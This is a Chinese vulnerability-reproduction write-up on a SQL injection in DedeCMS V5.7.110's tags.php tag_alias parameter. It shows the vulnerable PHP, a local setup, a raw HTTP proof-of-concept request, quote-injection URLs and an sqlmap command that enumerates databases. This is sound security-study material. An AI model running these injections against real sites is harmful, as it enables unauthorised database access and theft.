【漏洞复现】织梦内容管理系统(DedeCMS) V5.7.110 SQL注入
DedeCMS简介
DEDECMS 是一种可以综合管理网站上各种栏目的通用工具,新闻、产品、文档、下载、音乐、教学视频……,通过模版技术,他们都在同一套系统里完成更新和维护。DedeCMS 是目前国内最强大、最稳定的中小型门户网站建设解决方案之一,基于 PHP + MySQL 的技术开发,全部源码开放。
开发语言:PHP
官网地址:https://www.dedecms.com/
源码信息:https://github.com/dedecms/DedeCMS
漏洞描述
DedeCMS 5.7.110 中发现了一个严重漏洞。此漏洞影响文件/uploads/tags.php 的未知代码。对参数 tag_alias 的操作会导致 sql 注入。
影响版本
DedeCMS V5.7.110
FOFA语句
暂无
漏洞代码
if(isset($_SERVER['QUERY_STRING']))
{
$tag = trim($_SERVER['QUERY_STRING']);
$tags = explode('/', $tag);
if(isset($tags[1])) {
if($tags[1] === 'alias') {
if(isset($tags[2])) $tag = $tags[2];
if(isset($tags[3])) $PageNo = intval($tags[3]);
global $dsql;
$tag_alias = urldecode($tag);
$row = $dsql->GetOne("Select * From `#@__tagindex` where tag_alias = '{$tag_alias}'");
$tag = $row['tag'];
} else {
if(isset($tags[1])) $tag = $tags[1];
if(isset($tags[2])) $PageNo = intval($tags[2]);
}
}
}
环境搭建
访问官网主页下载
本次环境使用phpstudy搭建环境,将uploads目录中文件复制到WWW目录下
访问http://127.0.0.1/install/index.php安装DedeCMS,新建数据库后直接下一步安装成功
漏洞利用
POC
GET /uploads/tags.php?QUERY_STRING=alias/alias/bbb* HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1689668702,1689755217,1689908948,1690348034; Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=1691473417
Connection: close
访问链接
http://127.0.0.1/uploads/tags.php?QUERY_STRING=alias/alias/123
输入单引号报错%27
http://127.0.0.1/uploads/tags.php?QUERY_STRING=alias/alias/111%27
闭合单引号,正常访问
http://127.0.0.1/uploads/tags.php?QUERY_STRING=alias/alias/111%27%20and%201=1#
SQLmap:
sqlmap.py -u "http://127.0.0.1/tags.php?QUERY_STRING=alias/alias/bbb*" -dbs --batch